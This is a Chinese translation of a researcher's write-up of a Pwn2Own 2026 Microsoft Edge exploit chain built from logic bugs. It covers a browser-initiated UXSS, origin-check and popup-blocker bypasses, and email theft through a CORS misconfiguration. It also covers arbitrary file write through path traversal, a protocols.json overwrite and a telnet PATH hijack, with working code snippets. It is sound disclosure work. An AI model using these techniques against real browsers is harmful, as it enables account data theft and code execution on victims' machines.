跳到正文
Hacker News 熱門(buzzing.cc 中文翻譯)·· 3 小時前精選AI 評分79

Microsoft Edge 如何以邏輯漏洞構建完整利用鏈並逃逸沙盒

仅利用逻辑错误构建 Microsoft Edge 全链

AI 導讀

Orange Tsai 的 Microsoft Edge 邏輯漏洞利用鏈在 Pwn2Own Berlin 2026 達成沙盒逃逸,為其贏得 $175,000 及 17.5 個 Master of Pwn 積分。

推薦理由

文章拆解導航邏輯、UXSS、任意檔案寫入與協定處理程序執行的串接過程,展示多個邏輯漏洞如何逐步跨越瀏覽器安全邊界。

正文 · 繁體中文

我想自己還是應該偶爾分享一些工作成果,儘管感覺如今真正坐下來閲讀文章的人愈來愈少(又或者現在大家都把這事交給自己的 Agent XD)。總之,這就是我為 Pwn2Own Berlin 2026 打造的作品——完全手工製作、純邏輯的 Microsoft Edge 全鏈式攻擊,沒有記憶體損毀,也完全沒有使用 AI!🔥

已確認!DEVCORE Research Team 的 Orange Tsai (@orange_8361) (@d3vc0r3) 串連 4 個邏輯漏洞,在 Microsoft Edge 實現沙箱逃逸,贏得 $175,000 及 17.5 個 Master of Pwn 積分。全勝!#Pwn2Own #P2OBerlin https://t.co/vJaIpGG4cD

— TrendAI Zero Day Initiative (@thezdi) May 14, 2026

整個攻擊鏈由五個漏洞和兩項 Windows 功能組成。我亦在今年的 HITCON 和 Hexacon 分享了完整的漏洞挖掘及串連過程,以及途中一些有趣的故事。投影片請看這裏!

另外,或許大家都覺得在 AI 時代,LLM 已經能攻陷一切,所以完全手工打造的作品反而顯得更珍貴。這或許也是這條攻擊鏈獲提名今年 Pwnie Awards,並贏得 Epic Achievement 獎的原因。🎉

pwnie-award-2026

開始導覽!

那麼,純邏輯的全鏈式攻擊該從哪裏入手?既然它是「瀏覽器」,不如先看看「瀏覽」(或者 Chromium 所稱的「導覽」)是如何運作的。這篇文章不會深入講解太多,因為我想在這個時代,你可以直接叫自己的 Agent 補充細節 :)

不過,如果你想全面瞭解,我仍然建議閲讀 Chrome University 的〈一次導覽的生命週期〉。

被遺忘的 Navigation Throttles

我梳理 Chromium 的導覽流程時,有個叫做「Navigation Throttles」的機制引起了我的注意。它們位於 Browser Process,會攔截由瀏覽器或渲染程序發起的所有導覽請求。事後回看或許很容易理解,但在 Google Chrome 過去五年修復的 3,000 多個 CVE 當中,與它們相關的不到 20 個。所以我想,這也是一個不太多人留意的領域。

總之,我開始深入研究 Navigation Throttles,並查看 Google Chrome 和 Microsoft Edge 的實作方式。閲讀程式碼時,我發現 Edge 為其企業 Entra ID 功能設有一個 throttle,名為 EdgeCAGuidanceNavigationThrottle(此處的 CA 代表條件式存取)。當 Edge 偵測到用戶在 Microsoft 網站使用工作帳戶登入時,這個 throttle 會引導用戶前往正確的用戶設定檔。要觸發這個 throttle,必須從 Microsoft 擁有的特定 origin 開始導覽,例如 login.live.com:

1
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`

觸發 throttle 後,Edge 會將目前用戶設定檔的電郵地址與 ?email={email} 比較。如果兩者不符,Edge 便會彈出對話框,引導你切換帳戶。

image

如果兩者相符,Edge 就會從 switch_profile={url} 取得你原本要前往的 URL,並使用 Chromium 內部的 Navigation API 發起新的導覽:

1
2
3
4
5
NavigateParams params(browser, switch_profile_url, ui::PAGE_TRANSITION_LINK);
params.disposition = WindowOpenDisposition::CURRENT_TAB;
params.window_action = NavigateParams::SHOW_WINDOW;

Navigate(&params);

簡單來説,當目標 URL 符合特定內部格式,而且條件成立時,throttle 會取消原本的導覽,然後使用攻擊者可控制的 Query String 中的 URL 發起新的導覽。由於這次導覽是由 Browser Process 發起,理論上我們可以做一些原本做不到的事,例如跳轉至通常禁止瀏覽的頁面 edge://settings 或 devtools://...,甚至是 javascript:alert(origin) 這類偽協定。

雖然 JavaScript 偽協定聽起來像是一種強大的攻擊原語,但你仍然需要先在 login.live.com 取得執行上下文,才能觸發節流器。因此,能跳轉至 javascript: 並沒有帶來甚麼額外能力。頂多隻是類似 Self-XSS,或是把那裏的 Open Redirect 轉化成 XSS。無論如何,你仍然只是在同一個 login.live.com 上下文中執行 JavaScript。

老實説,乍看之下我沒有太認真看待這個漏洞。在我看來,它只是一個功能更強的 Open Redirect,可以跳轉至多幾種瀏覽器層級的 scheme,但仍然需要與其他漏洞串連使用。於是這個漏洞就在我的筆記裏擱了幾星期……🤦‍♂️

無來源導覽:一種全新的 UXSS 攻擊原語

轉捩點是有一天我在研究 Chromium 架構時,開始思考:節流器由 Browser Process 處理,因此新的導覽也是由瀏覽器發起。然而,我們觸發節流器的頁面 login.live.com 位於 Renderer 中;調查相關邏輯時,我找不到任何把 Browser 和 Renderer 連繫起來的程式碼。那麼……CURRENT_TAB 究竟指的是哪個分頁?

為了查明這一點,我快速做了一個測試,在原本的觸發程序中加入延遲:

1
2
3
setTimeout(function(){
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`
}, 8000)

在延遲期間,我們手動把 Edge 切換到一個新分頁,看看會發生甚麼事,結果……

砰!我們在 google.com 上觸發了 UXSS,而這也是整個漏洞鏈中的第一個漏洞。為了徹底瞭解 UXSS 的根本原因,我們深入研究了 Chromium 的原始碼。我們發現,如果呼叫 Navigate() 時沒有指定 source_contents(要繫結的 Renderer 來源),Chromium 就會自動使用目前作用中的分頁作為 Renderer 來源。

↓ 路徑: chromium/chrome/browser/ui/browser_navigator.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
base::WeakPtr<content::NavigationHandle> Navigate(NavigateParams* params) {







if (!params->source_contents && params->browser) {
params->source_contents = params->browser
->GetBrowserForMigrationOnly()
->tab_strip_model()
->GetActiveWebContents();
}






if (!contents_to_navigate_or_insert) {
DCHECK(!params->url.is_empty());
if (params->disposition != WindowOpenDisposition::CURRENT_TAB) {

} else {


DCHECK(params->source_contents);
contents_to_navigate_or_insert = params->source_contents;
}



if (!HandleNonNavigationAboutURL(
params->url, contents_to_navigate_or_insert->GetBrowserContext())) {


NavigationController::LoadURLParams load_url_params =
LoadURLParamsFromNavigateParams(contents_to_navigate_or_insert,
params);
navigation_handle =
contents_to_navigate_or_insert->GetController().LoadURLWithParams(
load_url_params);
}

}

雖然這條程式碼路徑要求 params.disposition 為 CURRENT_TAB,而 params.source_contents 為 NULL,但幸好這些都是預設值,所以連 Chromium 自己的範例程式碼也弄錯了。我想,這應該算是一種全新的 UXSS 攻擊面!

零點擊挑戰

我們剛發現的 UXSS 攻擊原語聽起來很不錯,但實際觸發時仍然面對不少挑戰。以下列出我們在把 UXSS 攻擊武器化時遇到的四個挑戰,以及我們如何透過更多漏洞逐一破解 😉。

1. 必須從受信任的來源觸發節流器

正如前面提到,第一個挑戰是:這個 UXSS 必須從某些 Microsoft 網站觸發。雖然我們仍然可以在那些網站找出 XSS 來達成目的,但這聽起來相當費力,所以我們會把它留作最後手段。我們決定先看看來源檢查有沒有容易入手的突破口。

1
2
3
4
5
content::WebContents* web_contents = navigation_handle()->GetWebContents();
const GURL last_committed_url = web_contents->GetLastCommittedURL();

if ( !IsSupportedLoginUrl(last_committed_url) )
return content::NavigationThrottle::CANCEL_AND_IGNORE;

我們發現 EdgeCAGuidanceNavigationThrottle 會使用 GetLastCommittedURL() 取得發起導覽的來源,然後進行檢查。乍看之下,這似乎是正確的驗證方式。但仔細一看,你會發現 Microsoft 似乎忘了導覽不只可以由目前的 WebContents 發起,也可以由另一個視窗發起……所以只要用簡單的 window.open(...) 就足以繞過檢查!

↓ 你可以在任何網站執行這段程式碼來觸發節流器

1
2
popup = window.open('https://login.live.com/', '_blank')
popup.location = `https://guidance-ca-error/?email={email}&switch_profile={url}`

到目前為止,我們可以透過跨視窗導覽繞過來源檢查。不過,現代瀏覽器現在不會讓網頁那麼輕易地開啟新視窗,因此又出現了另一個新問題:彈出式視窗封鎖器預設會封鎖 window.open(...)。

popup-blocker

為瞭解決這個問題,我們繼續對 Microsoft Edge 進行逆向分析。我們發現 Microsoft 可能為內部用途,為彈出式視窗自行設定了一份硬編碼白名單……所以像以下這樣的彈出式視窗通常會如預期般被封鎖:

1
popup = window.open('https://malicious.tld', '_blank')      

但如果把 URL 換成白名單上的 URL……視窗就會出現。然後記得將它導回原來的網站,就能繞過彈出式視窗封鎖功能!

1
2
popup = window.open('about:blank#quickAuthPopup', '_blank') 
popup.location = 'https://malicious.tld'

多謝 Microsoft!

thanks-microsoft

3. 需要已登入的設定檔

現在我們可以隨處觸發 EdgeCAGuidanceNavigationThrottle,下一步就是繞過條件式存取檢查。程式碼首先要求 Microsoft Edge 已有一個登入中的用戶設定檔,然後檢查 ?email={email} 是否與該設定檔的電郵地址相符。必須符合這兩項條件,我們才能進行無來源、由瀏覽器發起的導覽,最終觸發 UXSS 原語。

1
2
3
4
5
6
7
8
9
10
Profile* current_profile = Profile::FromBrowserContext(
web_contents->GetBrowserContext());

std::string email;
net::GetValueForKeyInQuery(target_url, kEmailQueryKey, &email);

const base::FilePath target_profile_path = GetPathOfProfileWithEmail(email);
if (current_profile->GetPath() != target_profile_path) {
profiles::SwitchToProfile(target_profile_path, false, BindOnce(…));
}

不過,我們不能假設目標環境預先有已登入的設定檔,因此仍要找到一種方法,讓攻擊在沒有設定檔的情況下也能奏效。探索 Microsoft Edge 時,我們發現了一項很實用的功能,名為「OneAuth」。使用者瀏覽 Microsoft 擁有的網站時,這項功能會讓任何 Edge WebView 應用程式自動使用目前的 MSA 憑證登入。事實證明,從 25H2 開始,Windows OOBE 要求用戶使用 MSA 登入(除非採用本機帳戶的替代方法)。所以,即使你從未在瀏覽器中建立用戶設定檔,只要瀏覽 www.microsoft.com,Edge 就會建立設定檔並自動為你登入。

再次多謝 Microsoft!

4. 需要事先知道登入電郵地址

解決登入問題後,最後一項挑戰是事先取得受害者的電郵地址。當然,我們可以嘗試社交工程,或繼續逆向分析 Microsoft Edge,尋找另一個會洩漏該資料的漏洞。不過,自動登入已經設定了多個 Microsoft Cookie,我們認為利用網頁攻擊會是更簡單的竊取電郵地址方法。於是我們啟動 Burp Suite,開始尋找網頁漏洞。

我們花了幾個小時,在 Microsoft 網站上找到數個 XSS 漏洞。四處查看時,我留意到嵌入在 edge://new-tab-page-online 中的 assets.msn.com 會回傳目前已登入用戶的電郵地址。更有趣的是,我檢查回應標頭時,發現該網站似乎存在 CORS 設定錯誤……

cors-misconfig

因此,只要發出一個包含憑證的簡單 fetch(...),就能輕易從任何網站取得任何 Microsoft Edge 用戶的電郵地址:

1
2
3
4
5
6
7
8
9
10
11
resp = await fetch(`https://assets.msn.com/service/community/users/me?profile=social&it=edgeid`, {
method: 'GET',
mode: 'cors',
credentials: 'include',
referrerPolicy: 'no-referrer',
headers: {
'Accept': 'application/json'
}
})
body = await resp.json()
console.log( body.value[0].email )

整合所有環節!

到目前為止,要讓這個原語奏效,我們串連了以下各項:

  • 因缺少跨視窗 Opener 檢查而造成的受信任來源繞過
  • 因硬編碼白名單而造成的彈出式視窗封鎖功能繞過
  • 會自動為你登入的 OneAuth 功能
  • 讓我們竊取已登入用戶電郵地址的 CORS 設定錯誤

現在終於可以在無需點擊的情況下觸發 UXSS!更棒的是,由於這個 UXSS 是由瀏覽器處理程序發起(如果你有興趣,在 Mojo 中是 HandleRendererDebugURL),因此可以完全忽略任何 CSP。這代表我們可以在 google.com、facebook.com、icloud.com,或任何想要的網站上執行 JavaScript!

突破瀏覽器沙盒

我們有了通用 XSS,就代表可以為所欲為嗎?如果説的是網頁安全,那答案是肯定的。但我們的目標是取得 ACE(任意程式碼執行),所以單靠 UXSS 遠遠不夠。我們仍須找到方法突破瀏覽器沙盒,才能把這個 UXSS 轉化為程式碼執行。

我首先想到、最直接的做法是:既然我們可以在任何網站上執行 JavaScript,更準確地説,是在任何來源上執行 JavaScript,何不利用 edge://settings 或 edge://downloads 等高權限 WebUI 頁面來取得 ACE?

這種天真的做法當然早已由 Chromium 開發人員處理。在 Renderer 的 Mojo 處理常式中,還有額外檢查:如果來源屬於以下其中一個具特權的 WebUI,Renderer 便會直接忽略 JavaScript URL。

1
2
3
4
5
6
7
8
9
10
11
edge://
chrome-extension://
chrome://
chrome-untrusted://
chrome-distiller://
chrome-error://
chrome-native://
chrome-search://
devtools://

// more...

↓ 路徑: chromium/third_party/blink/renderer/core/frame/local_frame.cc

1
2
3
4
5
6
7
8
9
10
11
12
void LocalFrame::LoadJavaScriptURL(const KURL& url) {


if (SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
GetSecurityContext()
->GetSecurityOrigin()
->GetOriginOrPrecursorOriginIfOpaque()
->Protocol())) {
return;
}

}

↓ 路徑: chromium/third_party/blink/renderer/platform/weborigin/scheme_registry.cc

1
2
3
4
5
6
7
8
bool SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
const String& scheme) {
DCHECK_EQ(scheme, scheme.LowerASCII());
if (scheme.empty())
return false;
return GetURLSchemesRegistry().not_allowing_javascript_urls_schemes.Contains(
scheme);
}

基本上,Chromium 已把你想得到的每個具特權 WebUI 都列入 not_allowing_javascript_urls_schemes 黑名單。所以到那時,我還是卡了好一陣子。😖

透過 Immersive Reader 實現任意檔案寫入

不過,隨着我們繼續探索 Microsoft Edge,我們發現 Edge 有自己的閲讀模式,名為 Immersive Reader。與 Chrome 內置的閲讀模式不同,Immersive Reader 似乎早在 Chromium 發展初期便從中分支出來,再由 Microsoft 在此基礎上開發。因此,Edge 使用自訂的 read:// scheme,而不是舊的 chrome-distiller:// 或已列入黑名單的 chrome-untrusted://。Microsoft 似乎也忘了把這個 scheme 加入黑名單,所以我們的 UXSS 可以在這個具特權的 WebUI 上運作 :)

從這個具特權的 WebUI 出發,我們可以透過 JavaScript 存取許多原生 C++ 物件。其中一個名為 chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles() 的物件特別引起我的注意。我們試用後發現,這個函式會接收兩個參數:檔名和 JSON 字串:

↓ 我們在 read://https_orange.tw/?url=https://orange.tw 上執行了這個操作

1
2
3
4
5
6
7
8
9
chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles(
'LOL.ZIP',
'{
"logFiles": {
"ORANGE": "AAAAAAAA"
},
"deviceInfo": {1337: 1337}
}'
)

在試用期間,我們發現 Microsoft Edge 會先建立一個臨時資料夾,並把 AAAAAAAA 寫入檔案 ORANGE.json。接着,它會把整個資料夾打包成 LOL.ZIP,上載至 Microsoft 伺服器,然後清理所有檔案。當然,你會想試試 ../……沒錯,這確實能讓你越出臨時資料夾。不過,.json 副檔名還是有點煩人。你可能也會想知道,NULL 位元組能否去掉它……當然可以!現在我們便能任意寫入檔案,同時控制檔名和內容,並覆寫任何位置的任何檔案!

再一次感謝 Microsoft!

a_slide1_smooth

覆寫 protocols.json 以自動啟動通訊協定處理常式

現在,幾乎所有部分都已就緒。最後一步是找出如何把瀏覽器層級的任意檔案寫入轉化為 ACE,以完成整條攻擊鏈。我們發現 Microsoft Edge 初始化時會進行一些有趣的側載操作,例如讀取一批設定檔,或從可寫入的資料夾載入 DLL。

因此,DLL 側載聽起來很有吸引力。不過,由於我們的檔案寫入內容包在 JSON 中,內容必須是有效的 UTF-8 字串。而且 Microsoft Edge 是 64 位元處理程序,所以我們也得放入 64 位元 DLL。花了一些時間嘗試後,我們發現無論如何都無法構造出符合 UTF-8 要求的有效 64 位元 PE 標頭,因此只好放棄 DLL 側載。

最後,我們以一種較不明顯的方式解決了這個問題。我們發現,除了 OneAuth 之外,Edge 初始化時還會載入多個元件,其中一個是「AutoLaunchProtocolsComponent」。這個元件會從一個我們可以寫入的資料夾中,讀取名為 protocols.json 的設定檔。該檔案會定義哪些來源可以啟動哪些 URL 通訊協定處理常式。因此,只要覆寫這個檔案,我們便可以從任何來源啟動任何通訊協定處理常式。

↓ 路徑: AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"allow": [
{
"origins": [
"https://.get.microsoft.com",
"https://.apps.microsoft.com"
],
"protocol": "ms-windows-store"
},
{
"origins": [
"https://.onedrive.com",
"https://.onedrive.live.com",
"https://sharepoint.com"
],
"protocol": "ms-word"
},

],
"warn": [

],
"block": [

]
}

至於如何讓 Microsoft Edge 重新初始化?只要使用我們之前由瀏覽器發起的導覽,跳轉至 edge://restart 就可以了!:)

從 telnet:// 到程式碼執行!

在這裏,我們選擇了 telnet:// 來取得程式碼執行能力。在 Windows 上,telnet 處理常式會嘗試執行 telnet.exe,但 Windows 預設不會隨附該執行檔,因此會在 PATH 環境變數所列的目錄中尋找它。其中一個目錄剛好可以讓我們寫入……

1
2
3
4
5
6
C:\WINDOWS\system32
C:\WINDOWS
C:\WINDOWS\System32\Wbem
C:\WINDOWS\System32\WindowsPowerShell\v1.0
C:\WINDOWS\System32\OpenSSH
C:\Users\lowpriv\AppData\Local\Microsoft\WindowsApps

只要放入經修改的 protocols.json 和一個 32 位元的小型 PE,我們便成功實現 ACE。整個漏洞利用程式不到 100 行程式碼。在真實攻擊中其實不需要重新啟動,只有 Pwn2Own 才需要。來看看示範吧!🔥

最後感想

從毫無現代瀏覽器漏洞利用經驗,到完成整條利用鏈,整個研究歷時整整兩個月,完全沒有使用 LLM/AI。但你可能會問,為甚麼?或許是因為聽起來很酷,又或許只是時機剛好——我大約今年三月才開始使用 Codex 和 Claude Code 這類編碼 Agent,而到那時,我已經找出所有漏洞並完成最困難的部分 ¯\_(ツ)_/¯

那麼,最困難的部分是甚麼?對記憶體損毀而言,通常是漏洞利用。但我們研究的是邏輯漏洞,最困難的部分是找出漏洞;一旦全部找出來,串連利用鏈就是最簡單的部分。這也是我讓整個漏洞利用過程完全不涉及 AI 的原因。

除此之外,我也把 UXSS 原語視為新的攻擊面,並認同在 AI 時代,「攻擊面是新的 0day」。在與 AI 巨頭分享之前,我想先深入探索這座金礦。這也是我決定不在這條利用鏈上使用 AI 的另一個原因。

當然,我也不是那種拒絕嘗試新事物的老派人士。在這條利用鏈之外,我也在 tokenmaxxing,並沉迷於 AI。我相信,一旦體驗過 LLM 有多方便,就沒有人會想再回到手動尋找漏洞的日子。我認為,這也是未來的方向。

我也不太擔心被 AI 取代。倒不如説,正因為有 AI,我終於有足夠時間完成 TODO 清單上一直擱置的各種酷炫項目……例如我剛剛通報的 Windows RCE、反轉這條利用鏈,從 calc.exe 啟動 Microsoft Edge,或把這條只利用邏輯漏洞的完整利用鏈移植至 Google Chrome(快完成了 ><)。下個月我也會在日本的 CODE BLUE展示一些進展。敬請期待!😉

與其擔心漏洞研究的門檻會降低到甚麼程度,不如期待 AI 能帶我們走得多遠?我們可以玩出甚麼新花樣、打造多酷的駭客技術,又能讓哪些不可能的事成真……?

永不停止漏洞利用!

來源:Hacker News 熱門(buzzing.cc 中文翻譯) · blog.orange.tw